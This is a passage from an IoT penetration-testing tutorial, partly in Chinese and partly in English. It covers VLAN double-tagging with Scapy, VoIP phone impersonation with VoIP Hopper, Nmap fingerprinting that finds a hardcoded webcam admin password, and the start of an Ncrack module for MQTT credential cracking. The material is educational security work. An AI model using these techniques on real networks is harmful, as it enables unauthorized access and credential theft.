首先,我们使用 modprobe 命令加载 VLAN 标签方法的内核模块,Kali Linux 中预安装了该命令。然后,我们使用 vconfig 命令创建一个具有所需 VLAN ID 的新接口,接着使用 add 参数,指定我们的网络接口名称和 VLAN 标识符。vconfig 命令在 Kali Linux 中预安装,在其他 Linux 发行版中,它包含在 vlan 包中。在本示例中,我们将指定用于 IoT 网络的 VLAN 20 ID,并将其分配给攻击者笔记本上的网络适配器。您还可以使用 ifconfig 命令选择 IPv4 地址。
双标签攻击
如前所述,访问端口发送和接收的包没有 VLAN 标签,因为这些包被认为属于特定的 VLAN。另一方面,干道端口发送和接收的包应当标记上 VLAN 标签。这允许来自任何访问端口的包,即使是属于不同 VLAN 的包,也能够通过。但根据所使用的 VLAN 标签协议,仍然存在某些例外。例如,在 IEEE 802.1Q 协议中,如果一个包到达干道端口且没有 VLAN 标签,交换机将自动将此包转发到一个预定义的 VLAN,称为 本地 VLAN。通常,这个包的 VLAN ID 为 1。
如果本地 VLAN 的 ID 属于交换机的某个访问端口,或者如果对手在交换机欺骗攻击中获得了它,攻击者可能会执行双标签攻击,如图 4-5 所示。

图 4-5:双标签攻击
当穿越干道链路的包到达目标交换机的干道端口时,目标端口会移除其 VLAN 标签,然后使用该标签将包转发到正确的自定义数据包。您可以添加两个 VLAN 标签,并欺骗交换机仅移除外部标签。如果是本地 VLAN 标签,交换机将把带有内部标签的包转发到其干道链路,朝第二个交换机方向传输。当包到达目标交换机的干道端口时,交换机会使用内部标签将包转发到适当的访问端口。您可以使用此方法将数据包发送到本来无法访问的设备,如 IoT 设备监控服务器,如图 4-5 所示。
要执行该攻击,外部 VLAN 标签必须识别对手自己的 VLAN,并且该 VLAN 必须是已建立的 trunk 链接的本地 VLAN,而内部标签则必须识别目标 IoT 设备所属的 VLAN。我们可以使用 Scapy框架 ([`scapy.net/`](https://scapy.net/)),这是一个用 Python 编写的强大数据包操作程序,来伪造一个包含这两个 VLAN 标签的数据包。你可以通过 Python 的 `pip` 包管理器来安装 Scapy。
``` # pip install scapy ``` The following Python code sends an ICMP packet to a targeted device with the IPv4 address 192.168.1.10 located in VLAN 20\. We tag the ICMP packet with two VLAN IDs: 1 and 20. ``` from scapy.all import * packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() sendp(packet) ``` The `Ether()` function creates an auto-generated link layer. We then make the two VLAN tags using the `Dot1Q()` function. The `IP()` function defines a custom network layer to route the packet to the victim’s device. Finally, we add an auto-generated payload containing the transport layer that we want to use (in our case, ICMP). The ICMP response will never reach the adversary’s device, but we can verify that the attack succeeded by observing the network packets in the victim’s VLAN using Wireshark. We’ll discuss using Wireshark in detail in Chapter 5. ### Imitating VoIP Devices Most corporate networking environments contain VLANs for their voice networks. Although intended for use by the employees’ Voice over Internet Protocol (VoIP) phones, modern VoIP devices are increasingly integrated with IoT devices. Many employees can now unlock doors using a special phone number, control the room’s thermostat, watch a live feed from security cameras on the VoIP device’s screen, receive voice messages as emails, and get notifications from the corporate calendar to their VoIP phones. In these cases, the VoIP network looks something like the one shown in Figure 4-6.  Figure 4-6: A VoIP device connected to an IoT network If the VoIP phones can connect to the corporate IoT network, attackers can imitate VoIP devices to gain access to this network, too. To perform this attack, we’ll use an open source tool called VoIP Hopper ([`voiphopper.sourceforge.net/`](http://voiphopper.sourceforge.net/)). VoIP Hopper mimics the behavior of a VoIP phone in Cisco, Avaya, Nortel, and Alcatel-Lucent environments. It automatically discovers the correct VLAN ID for the voice network using one of the device discovery protocols it supports, such as the Cisco Discovery Protocol (CDP), the Dynamic Host Configuration Protocol (DHCP), Link Layer Discovery Protocol Media Endpoint Discovery (LLDP-MED), and 802.1Q ARP. We won’t further investigate how these protocols work, because their inner workings aren’t relevant to the attack. VoIP Hopper is preinstalled in Kali Linux. If you’re not using Kali, you can manually download and install the tool from the vendor’s site using the following commands: ``` # tar xvfz voiphopper-2.04.tar.gz && cd voiphopper-2.04 # ./configure # make && make install ``` Now we’ll use VoIP Hopper to imitate Cisco’s CDP protocol. CDP allows Cisco devices to discover other Cisco devices nearby, even if they’re using different network layer protocols. In this example, we imitate a connected Cisco VoIP device and assign it to the correct VLAN that gives us further access to the corporate voice network: ``` # voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 VoIP Hopper 2.04 Running in CDP Spoof mode Sending 1st CDP Spoofed packet on eth1 with CDP packet data: Device ID: SEP001EEEEEEEEE; Port ID: Port 1; Software: SCCP70.8-3-3SR2S Platform: Cisco IP Phone 7971; Capabilities: Host; Duplex: 1 Made CDP packet of 125 bytes - Sent CDP packet of 125 bytes Discovered VoIP VLAN through CDP: 40 Sending 2nd CDP Spoofed packet on eth1 with CDP packet data: Device ID: SEP001EEEEEEEEE; Port ID: Port 1; Software: SCCP70.8-3-3SR2S Platform: Cisco IP Phone 7971; Capabilities: Host; Duplex: 1 Made CDP packet of 125 bytes - Sent CDP packet of 125 bytes Added VLAN 20 to Interface eth1 Current MAC: 00:1e:1e:1e:1e:90 VoIP Hopper will sleep and then send CDP Packets Attempting dhcp request for new interface eth1.20 VoIP Hopper dhcp client: received IP address for eth1.20: 10.100.10.0 ``` VoIP Hopper supports three CDP modes. The *sniff* mode inspects the network packets and attempts to locate the VLAN ID. To use it, set the `-c` parameter to `0`. The *spoof* mode generates *custom* packets similar to the ones a real VoIP device would transmit in the corporate network. To use it, set the `-c` parameter to `1`. The *spoof with a pre-made**packet* mode sends the same packets as a Cisco 7971G-GE IP phone. To use it, set the `-c` parameter to `2`. We use the last method because it’s the fastest approach. The `-i` parameter specifies the attacker’s network interface, and the `-E` parameter specifies the name of the VOIP device being imitated. We chose the name SEP001EEEEEEEEE, which is compatible with the Cisco naming format for VoIP phones. The format consists of the word “SEP” followed by a MAC address. In corporate environments, you can imitate an existing VoIP device by looking at the MAC label on the back of the phone; by pressing the Settings button and selecting the Model Information option on the phone’s display screen; or by attaching the VoIP device’s Ethernet cable to your laptop and observing the device’s CDP requests using Wireshark. If the tool executes successfully, the VLAN network will assign an IPv4 address to the attacker’s device. To confirm that the attack worked, you could observe the DHCP response to this in Wireshark (Figure 4-7). We’ll discuss using Wireshark in detail in Chapter 5.  Figure 4-7: The Wireshark traffic dump of the DHCP frame in the voice network (Voice VLAN) Now we can identify the IoT devices located in this specific IoT network. ## Identifying IoT Devices on the Network One of the challenges you’ll face when attempting to identify IoT devices on a network is that they often share technology stacks. For example, *BusyBox*, a popular executable in IoT devices, typically runs the same network services on all devices. This makes it difficult to identify a device based on its services. That means we need to go deeper. We have to craft a specific request in the hopes of generating a response from the target that uniquely identifies the device. ### Uncovering Passwords by Fingerprinting Services This section walks you through an excellent example of how sometimes you can go from detecting an unknown service to finding a hardcoded backdoor that you can abuse. We’ll target an IP webcam. Of all available tools, Nmap has the most complete database for service fingerprinting. Nmap is available by default in security-oriented Linux distributions like Kali, but you can grab its source code or precompiled binaries for all major operating systems, including Linux, Windows, and macOS, at [`nmap.org/`](https://nmap.org/). It uses the *nmap-service-probes* file, located in the root folder of your Nmap installation, to store thousands of signatures for all kinds of services. These signatures consist of probes, data often sent, and sometimes hundreds of lines that match known responses to particular services. When attempting to identify a device and the services it runs, the very first Nmap command you should try is a scan with service (`-sV`) and operating system detection (`-O`) enabled: ``` # nmap -sV -O <target> ``` This scan will usually be enough to identify the underlying operating system and main services, including their versions. But although this information is valuable by itself, it’s even more useful to conduct a scan that increases version intensity to the maximum level using the `--version-all```or `--version-intensity 9` arguments. Increasing version intensity forces Nmap to ignore the *rarity level* (a number indicating how common the service is according to Nmap’s research) and port selection and launch all the probes in the service fingerprint database for any service that it detects.`` When we ran a full port scan (`-p-`) against an IP webcam with version detection enabled and the intensity increased to the maximum, the scan uncovered a new service running on higher ports that previous scans hadn’t uncovered: ``` # nmap -sV --version-all -p- <target> Host is up (0.038s latency). Not shown: 65530 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp OpenBSD ftpd 6.4 (Linux port 0.17) 80/tcp open http Boa HTTPd 0.94.14rc21 554/tcp open rtsp Vivotek FD8134V webcam rtspd 8080/tcp open http Boa HTTPd 0.94.14rc21 42991/tcp open unknown 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at [`nmap.org/cgi-bin/submit.cgi?new-service`](https://nmap.org/cgi-bin/submit.cgi?new-service) : SF-Port42991-TCP:V=7.70SVN%I=7%D=8/12%Time=5D51D3D7%P=x86_64-unknown-linux SF:-gnu%r(GenericLines,3F3,"HTTP/1\.1\x20200\x20OK\r\nContent-Length:\x209 SF:22\x20\r\nContent-Type:\x20text/xml\r\nConnection:\x20Keep-Alive\r\n\r\ SF:n<\?xml\x20version=\"1\.0\"\?>\n<root\x20xmlns=\"urn:schemas-upnp-org:d SF:evice-1-0\">\n<specVersion>\n<major>1</major>\n<minor>0</minor>\n</spec SF:Version>\n<device>\n<deviceType>urn:schemas-upnp-org:device:Basic:1</de SF:viceType>\n<friendlyName>FE8182\(10\.10\.10\.6\)</friendlyName>\n<manuf SF:acturer>VIVOTEK\x20INC\.</manufacturer>\n<manufacturerURL>http://www\.v SF:ivotek\.com/</manufacturerURL>\n<modelDescription>Mega-Pixel\x20Network SF:\x20Camera</modelDescription>\n<modelName>FE8182</modelName>\n<modelNum SF:ber>FE8182</modelNumber>\n<UDN>uuid:64f5f13e-eb42-9c15-ebcf-292306c172b SF:6</UDN>\n<serviceList>\n<service>\n<serviceType>urn:Vivotek:service:Bas SF:icService:1</serviceType>\n<serviceId>urn:Vivotek:serviceId:BasicServic SF:eId</serviceId>\n<controlURL>/upnp/control/BasicServiceId</controlURL>\ SF:n<eventSubURL>/upnp/event/BasicServiceId</eventSubURL>\n<SCPDURL>/scpd_ SF:basic\.xml</"); Service Info: Host: Network-Camera; OS: Linux; Device: webcam; CPE: cpe:/o:linux:linux_kernel, cpe:/h:vivotek:fd8134v ``` Note that, depending on the number of running services, this scan might be very noisy and time-consuming. Poorly written software might also crash, because it will receive thousands of unexpected requests. Look at the Twitter hashtag #KilledByNmap to glance at the variety of devices that crash when scanned. Excellent, we’ve discovered a new service on port 42991\. But even Nmap’s service detection engine with thousands of signatures didn’t recognize it, because it marked the service as `unknown` in the service column. But the service did return data. Nmap even suggests we submit the signature to improve its database (which we suggest you always do). If we pay closer attention to the partial response Nmap is showing, we can recognize an XML file containing device information, such as a configured name, a model name and number, and services. This response looks interesting, because the service is running on a high, uncommon port: ``` SF-Port42991-TCP:V=7.70SVN%I=7%D=8/12%Time=5D51D3D7%P=x86_64-unknown-linux SF:-gnu%r(GenericLines,3F3,"HTTP/1\.1\x20200\x20OK\r\nContent-Length:\x209 SF:22\x20\r\nContent-Type:\x20text/xml\r\nConnection:\x20Keep-Alive\r\n\r\ SF:n<\?xml\x20version=\"1\.0\"\?>\n<root\x20xmlns=\"urn:schemas-upnp-org:d SF:evice-1-0\">\n<specVersion>\n<major>1</major>\n<minor>0</minor>\n</spec SF:Version>\n<device>\n<deviceType>urn:schemas-upnp-org:device:Basic:1</de SF:viceType>\n<friendlyName>FE8182\(10\.10\.10\.6\)</friendlyName>\n<manuf SF:acturer>VIVOTEK\x20INC\.</manufacturer>\n<manufacturerURL>http://www\.v SF:ivotek\.com/</manufacturerURL>\n<modelDescription>Mega-Pixel\x20Network SF:\x20Camera</modelDescription>\n<modelName>FE8182</modelName>\n<modelNum SF:ber>FE8182</modelNumber>\n<UDN>uuid:64f5f13e-eb42-9c15-ebcf-292306c172b SF:6</UDN>\n<serviceList>\n<service>\n<serviceType>urn:Vivotek:service:Bas SF:icService:1</serviceType>\n<serviceId>urn:Vivotek:serviceId:BasicServic SF:eId</serviceId>\n<controlURL>/upnp/control/BasicServiceId</controlURL>\ SF:n<eventSubURL>/upnp/event/BasicServiceId</eventSubURL>\n<SCPDURL>/scpd_ SF:basic\.xml</"); ``` To try generating a response from the device to identify it, we might send random data to the service. But if we do this with `ncat`, the connection simply closes: ``` # ncat 10.10.10.6 42991 eaeaeaea eaeaeaea Ncat: Broken pipe. ``` If we can’t send data to that port, why did the service return data when we scanned it earlier? Let’s check the Nmap signature file to see what data Nmap sent. The signature includes the name of the probe that generated the response—in this case, GenericLines. We can view this probe using the following command: ``` # cat /usr/local/share/nmap/nmap-service-probes | grep GenericLines Probe TCP GenericLines 1q|\r\n\r\n| ``` Inside the *nmap-service-probes* file, we can find the name of this probe, followed by the data sent to the device delimited by `q|``<data>``|`1. The data shows that the GenericLines probe sends two carriage returns and new lines. Let’s send this directly to the scanned device to get the full response that Nmap shows: ``` # echo -ne "\r\n\r\n" | ncat 10.10.10.6 42991 HTTP/1.1 200 OK Content-Length: 922 Content-Type: text/xml Connection: Keep-Alive <?xml version="1.0"?> <root > <specVersion> <major>1</major> <minor>0</minor> </specVersion> <device> <deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType> <friendlyName>FE8182(10.10.10.6)</friendlyName> <manufacturer>VIVOTEK INC.</manufacturer> <manufacturerURL>http://www.vivotek.com/</manufacturerURL> <modelDescription>Mega-Pixel Network Camera</modelDescription> <modelName>FE8182</modelName> <modelNumber>FE8182</modelNumber> <UDN>uuid:64f5f13e-eb42-9c15-ebcf-292306c172b6</UDN> <serviceList> <service> <serviceType>urn:Vivotek:service:BasicService:1</serviceType> <serviceId>urn:Vivotek:serviceId:BasicServiceId</serviceId> <controlURL>/upnp/control/BasicServiceId</controlURL> <eventSubURL>/upnp/event/BasicServiceId</eventSubURL> <SCPDURL>/scpd_basic.xml</SCPDURL> </service> </serviceList> <presentationURL>http://10.10.10.6:80/</presentationURL> </device> </root> ``` The service responds with a lot of useful information, including the device name, model name, model number, and services running inside the device. An attacker could use this information to accurately fingerprint the IP web camera’s model and firmware version. But we can go further. Let’s use the model name and number to grab the device firmware from the manufacturer’s website and figure out how it generates this XML file. (Detailed instructions for getting a device’s firmware are in Chapter 9.) Once we have the firmware, we extract the filesystem inside the firmware with help from `binwalk`: ``` $ **binwalk -e <firmware>** ``` When we ran this command for the IP webcam firmware, we came across an unencrypted firmware that we could analyze. The filesystem is in the *Squashfs* format, a read-only filesystem for Linux commonly found in IoT devices. We searched the firmware for the strings inside the XML response we saw earlier and found them inside the `check_fwmode` binary: ``` $ **grep -iR "modelName"** ./usr/bin/update_backup: MODEL=$(confclient -g system_info_extendedmodelname -p 9 -t Value) ./usr/bin/update_backup: BACK_EXTMODEL_NAME=`${XMLPARSER} -x /root/system/info/extendedmodelname -f ${BACKUP_SYSTEMINFO_FILE}` ./usr/bin/update_backup: CURRENT_EXTMODEL_NAME=`${XMLPARSER} -x /root/system/info/extendedmodelname -f ${SYSTEMINFO_FILE}` ./usr/bin/update_firmpkg:getSysparamModelName() ./usr/bin/update_firmpkg: sysparamModelName=`sysparam get pid` ./usr/bin/update_firmpkg: getSysparamModelName ./usr/bin/update_firmpkg: bSupport=`awk -v modelName="$sysparamModelName" 'BEGIN{bFlag=0}{if((match($0, modelName)) && (length($1) == length(modelName))){bFlag=1}}END{print bFlag}' $RELEASE_LIST_FILE` ./usr/bin/update_lens: SYSTEM_MODEL=$(confclient -g system_info_modelname -p 99 -t Value) ./usr/bin/update_lens: MODEL_NAME=`tinyxmlparser -x /root/system/info/modelname -f /etc/conf.d/config_systeminfo.xml` ./usr/bin/check_fwmode: sed -i1 "s,<modelname>.*</modelname>,<modelname>${1}</modelname>,g" $SYSTEMINFO_FILE ./usr/bin/check_fwmode: sed -i "s,<extendedmodelname>.*</extendedmodelname>,<extendedmodelname>${1}</extendedmodelname>,g" $SYSTEMINFO_FILE ``` The file `check_fwmode`1, contains our desired string and inside we also found a hidden gem: an `eval()` call that includes the variable `QUERY_STRING` containing a hardcoded password: ``` eval `REQUEST_METHOD='GET' SCRIPT_NAME='getserviceid.cgi' QUERY_STRING='passwd=0ee2cb110a9148cc5a67f13d62ab64ae30783031' /usr/share/www/cgi-bin/admin/serviceid.cgi | grep serviceid` ``` We could use this password to invoke the administrative CGI script `getserviceid.cgi` or other scripts that use the same hardcoded password. ### Writing New Nmap Service Probes As we’ve seen, Nmap’s version detection is very powerful, and its database of service probes is quite sizeable because it’s composed of submissions from users all over the world. Most of the time, Nmap recognizes the service correctly, but what can we do when it doesn’t, such as in our previous webcam example? Nmap’s service fingerprint format is simple, allowing us to quickly write new signatures to detect new services. Sometimes the service includes additional information about the device. For example, an antivirus service, such as ClamAV, might return the date on which the signatures were updated, or a network service might include the build number in addition to its version. In this section, we’ll write a new signature for the IP web camera’s service running on port 42991 we discovered in the preceding section. Each line of the probe must contain at least one of the directives shown in Table 4-1. Table 4-1: Nmap Service Probe Directives | **Directive** | **Description** | | --- | --- | | `Exclude` | Ports to exclude from probing | | `Probe` | Line that defines the protocol, name, and data to send | | `match` | Response to match and identify a service | | `softmatch` | Similar to the match directive, but it allows the scan to continue to match additional lines | | `ports` and `sslports` | Ports that define when to execute the probe | | `totalwaitms` | Timeout to wait for the probe’s response | | `tcpwrappedms` | Only used for NULL probe to identify tcpwrapped services | | `rarity` | Describes how common a service is | | `fallback` | Defines which probes to use as fallbacks if there are no matches | As an example, let’s look at the `NULL` probe, which performs simple banner grabbing: when you use it, Nmap won’t send any data; it will just connect to the port, listen to the response, and try to match the line with a known response from an application or service. ``` # This is the NULL probe that compares any banners given to us Probe TCP NULL q|| # Wait for at least 5 seconds for data. Otherwise an Nmap default is used. totalwaitms 5000 # Windows 2003 match ftp m/²²⁰[ -]Microsoft FTP Service\r\n/ p/Microsoft ftpd/ match ftp m/²²⁰ ProFTPD (\d\S+) Server/ p/ProFTPD/ v/$1/ softmatch ftp m/²²⁰ [-.\w ]+ftp.*\r\n$/i ``` A probe can have multiple `match` and `softmatch` lines to detect services that respond to the same request data. For the simplest service fingerprints, such as the `NULL` probe, we only need the following directives: `Probe`, `rarity`, `ports`, and `match`. For example, to add a signature that correctly detects the rare service running on the webcam, add the following lines to *nmap-service-probes* in your local Nmap root directory. It will load automatically along with Nmap, so there’s no need to recompile the tool: ``` Probe TCP WEBCAM q|\r\n\r\n| rarity 3 ports 42991 match networkcaminfo m|<modelDescription>Mega-Pixel| p/Mega-Pixel Network Camera/ ``` Note that we can use special delimiters to set additional information about a service. For instance, `p/``<product name>``/` sets the product name. Nmap can populate other fields, such as `i/<extra info>/` for additional information or `v/<additional version info>/` for version numbers. It can use regular expressions to extract data from the response. When we scan the webcam again, Nmap yields the following results against our previously unknown service: ``` # nmap -sV --version-all -p- <target> Host is up (0.038s latency). Not shown: 65530 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp OpenBSD ftpd 6.4 (Linux port 0.17) 80/tcp open http Boa HTTPd 0.94.14rc21 554/tcp open rtsp Vivotek FD8134V webcam rtspd 8080/tcp open http Boa HTTPd 0.94.14rc21 42991/tcp open networkcaminfo Mega-Pixel Network Camera ``` If we want to include other information in Nmap’s output, such as the model number or the Universally Unique Identifier (UUID), we’d simply need to extract it using regular expressions. Numbered variables ($1, $2, $3, and so on) will be available to populate the information fields. You can see how regular expressions and numbered variables are used in the following `match` line for ProFTPD, a popular open source file transfer service, where the version information (`v/$1/`) is extracted from the banner using the regular expression (`\d\S+`): ``` match ftp m/²²⁰ ProFTPD (\d\S+) Server/ p/ProFTPD/ v/$1/ ``` You’ll find more information about other available fields in the official Nmap documentation at [`nmap.org/book/vscan-fileformat.html`](https://nmap.org/book/vscan-fileformat.html)*.* ## Attacking MQTT MQTT is a machine-to-machine connectivity protocol. It’s used in sensors over satellite links, dial-up connections with health-care providers, home automation, and small devices that require low power usage. It works on top of the TCP/IP stack but is extremely lightweight, because it minimizes messaging using a *publish-subscribe architecture*. The publish-subscribe architecture is a messaging pattern in which the senders of messages, called *publishers*, sort messages into categories, called *topics*.The *subscribers*, the recipients of the messages, receive only those messages that belong to the topics to which they’ve subscribed. The architecture then uses intermediary servers, called *brokers*, to route all messages from publishers to subscribers. Figure 4-8 shows the publish-subscribe model that MQTT uses.  Figure 4-8: MQTT’s publish-subscribe architecture One of the main problems with MQTT is that authentication is optional, and even if it’s used, it’s unencrypted by default. When credentials are transmitted in cleartext, attackers with a man-in-the-middle position on the network can steal them. In Figure 4-9, you can see that the *CONNECT* packet, sent by an MQTT client to authenticate to a broker, stores the username and password as cleartext.  Figure 4-9: The Wireshark traffic dump of an MQTT *CONNECT* packet contains the username and password transmitted as cleartext. Because MQTT has a simple structure and brokers don’t typically limit the number of authentication attempts per client, it’s the ideal IoT network protocol to use to demonstrate authentication cracking. In this section, we’ll create an MQTT module for *Ncrack*, Nmap’s network authentication cracking tool. ### Setting Up a Test Environment First, we need to select a representative MQTT broker and set up a test environment. We’ll use the Eclipse Mosquitto software ([`mosquitto.org/download/`](https://mosquitto.org/download/)), which is open source and cross platform. You can directly install the Mosquitto server and client on Kali Linux by issuing the following command as root: ``` root@kali:~# apt-get install mosquitto mosquitto-clients ``` Once installed, the broker starts listening on TCP port 1833 on all network interfaces, including the localhost. If needed, you can also start it manually by entering: ``` root@kali:~# /etc/init.d/mosquitto start ``` To test that it’s working, use `mosquito_sub` to subscribe to a topic: ``` root@kali:~# mosquitto_sub -t 'test/topic' -v ``` Then, in another terminal session, publish a test message by entering: ``` root@kali:~# mosquitto_pub -t 'test/topic' -m 'test message' ``` On the subscriber’s terminal (the one from which you ran `mosquitto_sub`), you should see `test message` displayed in the `test/topic` category. After verifying that our Mosquitto MQTT environment works and terminating previous terminal sessions, we’ll configure mandatory authentication. We first create a password file for a `test` user: ``` root@kali:~# mosquitto_passwd -c /etc/mosquitto/password test Password: **test123** Reenter password: **test123** ``` Then we create a configuration file called *pass.conf* inside the directory */etc/mosquitto/conf.d/* with the following contents: ``` allow_anonymous false password_file /etc/mosquitto/password ``` Finally, we restart the Mosquitto broker for the changes to take effect: ``` root@kali:~# /etc/init.d/mosquitto restart ``` We should now have mandatory authentication configured for our broker. If you try to publish or subscribe without issuing a valid username and password combination, you should get a `Connection error:``Connection Refused: not authorised` message. MQTT brokers send a *CONNACK* packet in response to a *CONNECT* packet. You should see the return code 0x00 in the header if the credentials are deemed valid and the connection is accepted. If the credentials are incorrect, the return code is 0x05\. Figure 4-10 shows what a message with the return code 0x05 looks like, as captured by Wireshark.  Figure 4-10: MQTT *CONNACK* packet with return code 05, refusing the connection due to invalid credentials Next, we’ll try to connect to the broker using the correct credentials while still capturing the network traffic. To easily see these packets, we fire up Wireshark and start capturing traffic on TCP port 1833\. To test the subscriber, we issue this command: ``` root@kali:~# mosquitto_sub -t 'test/topic' -v -u test -P test123 ``` Similarly, to test the publisher, we issue the following command: ``` root@kali:~# mosquitto_pub -t 'test/topic' -m 'test’ -u test -P test123 ``` You can see in Figure 4-11 that the broker now returns a *CONNACK* packet with a return code of 0x00\.  Figure 4-11: MQTT *CONNACK* packet with return code 0, indicating credentials were correct ### Writing the MQTT Authentication-Cracking Module in Ncrack In this section, we’ll expand Ncrack to support MQTT, allowing us to crack its credentials. Ncrack ([`nmap.org/ncrack/`](https://nmap.org/ncrack/)) is a high-speed network authentication cracking tool with a modular architecture. It supports a variety of network protocols (as of version 0.7, this includes SSH, RDP, FTP, Telnet, HTTP and HTTPS, WordPress, POP3 and POP3S, IMAP, CVS, SMB, VNC, SIP, Redis, PostgreSQL, MQTT, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA, and DICOM). It belongs to the Nmap suite of security tools. Its modules perform dictionary attacks against protocol authentications, and it ships with a variety of username and password lists. The latest recommended version of Ncrack is on GitHub at [`github.com/nmap/ncrack/`](https://github.com/nmap/ncrack/), although precompiled packages exist for distributions such as Kali Linux. The latest version already includes the MQTT module, so if you want to reproduce the next steps on your own, find the `git` commit from right before the module was added. To do that, use the following commands: ``` root@kali:~# git clone https://github.com/nmap/ncrack.git root@kali:~# cd ncrack root@kali:~/ncrack# git checkout 73c2a165394ca8a0d0d6eb7d30aaa862f22faf63 ``` #### A Quick Intro to Ncrack’s Architecture Like Nmap, Ncrack is written in C/C++, and it uses Nmap’s *Nsock* library to handle sockets in an asynchronous, event-driven manner. This means that instead of using multiple threads or processes to achieve parallelism, Ncrack continuously polls socket descriptors registered by each invoked module. Whenever a new network event occurs, such as a read, write, or timeout, it jumps to a preregistered callback handler that does something about the particular event. The internals of this mechanism are beyond the scope of this chapter. If you want a deeper understanding of Ncrack’s architecture, you can read the official developer’s guide at [`nmap.org/ncrack/devguide.html`](https://nmap.org/ncrack/devguide.html). We’ll explain how the event-driven socket paradigm comes into the picture while developing the MQTT module. #### Compiling Ncrack To begin, make sure you have a working, compilable version of Ncrack in your test environment. If you’re using Kali Linux, make sure you have all the build tools and dependencies available by issuing this command: ``` root@kali:~# sudo apt install build-essential autoconf g++ git libssl-dev ``` Then clone the latest version of Ncrack from GitHub by entering: ``` root@kali:~# git clone https://github.com/nmap/ncrack.git ``` Compiling should then be a simple matter of entering the following line inside the newly created *ncrack* directory: ``` root@kali:~/ncrack#**./configure && make** ``` You should now have a working Ncrack binary inside the local directory. To test this, try running Ncrack without any arguments: ``` root@kali:~/ncrack# ./ncrack ``` This should display the help menu. #### Initializing the Module You need to follow some standard steps every time you create a new module in Ncrack. First, edit the *ncrack-services* file to include the new protocol and its default port. Because MQTT uses TCP port 1833, we add the following line (anywhere in the file is fine): ``` mqtt 1883/tcp ``` Second, include a reference to your module’s main function (for example, `ncrack_mqtt` in our case) in the `call_module` function inside the *ncrack.cc* file. All module main functions have the naming convention `ncrack_``protocol`,``substituting `protocol` for the actual protocol name. Add the following two lines inside the main `else-if` case:`` ```` ``` else if (!strcmp(name, "mqtt")) ncrack_mqtt(nsp, con); ``` Third, we create the main file for our new module under the *modules* directory and name it *ncrack_mqtt.cc*. The *modules.h* file needs to have the definition of the main module function, so we add it. All main module functions have the same arguments (`nsock_pool, Connection *)`: ``` void ncrack_mqtt(nsock_pool nsp, Connection *con); ``` Fourth, we edit *configure.ac* in the main *Ncrack* directory to include the new module files *ncrack_mqtt.cc* and *ncrack_mqtt.o* in the `MODULES_SRCS` and `MODULES_OBJS` variables, respectively: ``` MODULES_SRCS="$MODULES_SRCS ncrack_ftp.cc ncrack_telnet.cc ncrack_http.cc \ ncrack_pop3.cc ncrack_vnc.cc ncrack_redis.cc ncrack_owa.cc \ ncrack_imap.cc ncrack_cassandra.cc ncrack_mssql.cc ncrack_cvs.cc \ ncrack_wordpress.cc ncrack_joomla.cc ncrack_dicom.cc ncrack_mqtt.cc" MODULES_OBJS="$MODULES_OBJS ncrack_ftp.o ncrack_telnet.o ncrack_http.o \ ncrack_pop3.o ncrack_vnc.o ncrack_redis.o ncrack_owa.o \ ncrack_imap.o ncrack_cassandra.o ncrack_mssql.o ncrack_cvs.o \ ncrack_wordpress.o ncrack_joomla.o ncrack_dicom.o ncrack_mqtt.o" ``` Note that after making any change to *configure.ac*, we need to run the `autoconf` tool inside the main directory to create the new *configure* script to be used in the compilation: ``` root@kali:~/ncrack#**autoconf** ``` #### The Main Code Now let’s write the MQTT module code in the *ncrack_mqtt.cc* file. This module will conduct a dictionary attack against MQTT server authentication. Listing 4-1 shows the first part of our code, which has the header inclusions and function declarations. ``` #include "ncrack.h" #include "nsock.h" #include "Service.h" #include "modules.h" #define MQTT_TIMEOUT 20000 1 extern void ncrack_read_handler(nsock_pool nsp, nsock_event nse, void *mydata); 2 extern void ncrack_write_handler(nsock_pool nsp, nsock_event nse, void *mydata); extern void ncrack_module_end(nsock_pool nsp, void *mydata); static int mqtt_loop_read(nsock_pool nsp, Connection *con); 3 enum states { MQTT_INIT, MQTT_FINI }; 4 ``` Listing 4-1: Header inclusions and function declarations The file begins with local header inclusions that are standard for every module. In `MQTT_TIMEOUT`, we then define 1 how long we’ll wait until we receive an answer from the broker. We’ll use this value later in the code. Next, we declare three important callback handlers: `ncrack_read_handler` and `ncrack_write_handler` for reading and writing data to the network, and `ncrack_module_end`, which must be called each time we finish a whole authentication round 2. These three functions are defined in *ncrack.cc* and their semantics aren’t important here. The function `mqtt_loop_read`3 is a *local-scope* helper function (meaning it’s visible only within the module file, due to the `static` modifier) that will parse the incoming MQTT data. Finally, we’ll have two states in our module 4. States, in Ncrack lingo, refer to specific steps in the authentication process for the particular protocol we’re cracking. Each state performs a micro-action, which almost always involves registering a certain network-related Nsock event. For example, in the `MQTT_INIT` state, we send our first MQTT *CONNECT* packet to the broker. Then, in the `MQTT_FINI` state, we receive the *CONNACK* packet from it. Both states involve either writing or reading data to the network. The second part of the file defines two structures that will help us manipulate the *CONNECT* and *CONNACK* packets. Listing 4-2 shows the code for the former. ``` struct connect_cmd { uint8_t message_type; /* 1 for CONNECT packet */ uint8_t msg_len; /* length of remaining packet */ uint16_t prot_name_len; /* should be 4 for "MQTT" */ u_char protocol[4]; /* it's always "MQTT" */ uint8_t version; /* 4 for version MQTT version 3.1.1 */ uint8_t flags; /* 0xc2 for flags: username, password, clean session */ uint16_t keep_alive; /* 60 seconds */ uint16_t client_id_len; /* should be 6 with "Ncrack" as id */ u_char client_id[6]; /* let's keep it short - Ncrack */ uint16_t username_len; /* length of username string */ /* the rest of the packet, we'll add dynamically in our buffer: * username (dynamic length), * password_length (uint16_t) * password (dynamic length) */ connect_cmd() { /* constructor - initialize with these values */ 1 message_type = 0x10; prot_name_len = htons(4); memcpy(protocol, "MQTT", 4); version = 0x04; flags = 0xc2; keep_alive = htons(60); client_id_len = htons(6); memcpy(client_id, "Ncrack", 6); } } __attribute__((__packed__)) connect_cmd; ``` Listing 4-2: Structure for manipulating the *CONNECT* packet We define the C struct `connect_cmd` to contain the expected fields of an MQTT *CONNECT* packet as its members. Because the initial part of this type of packet is composed of a fixed header, it’s easy to statically define the values of these fields. The *CONNECT* packet is an MQTT control packet that has: * A *fixed header* made of the Packet Type and Length fields. * A *variable header* made of the Protocol Name (prefixed by the Protocol Name Length), Protocol Level, Connect 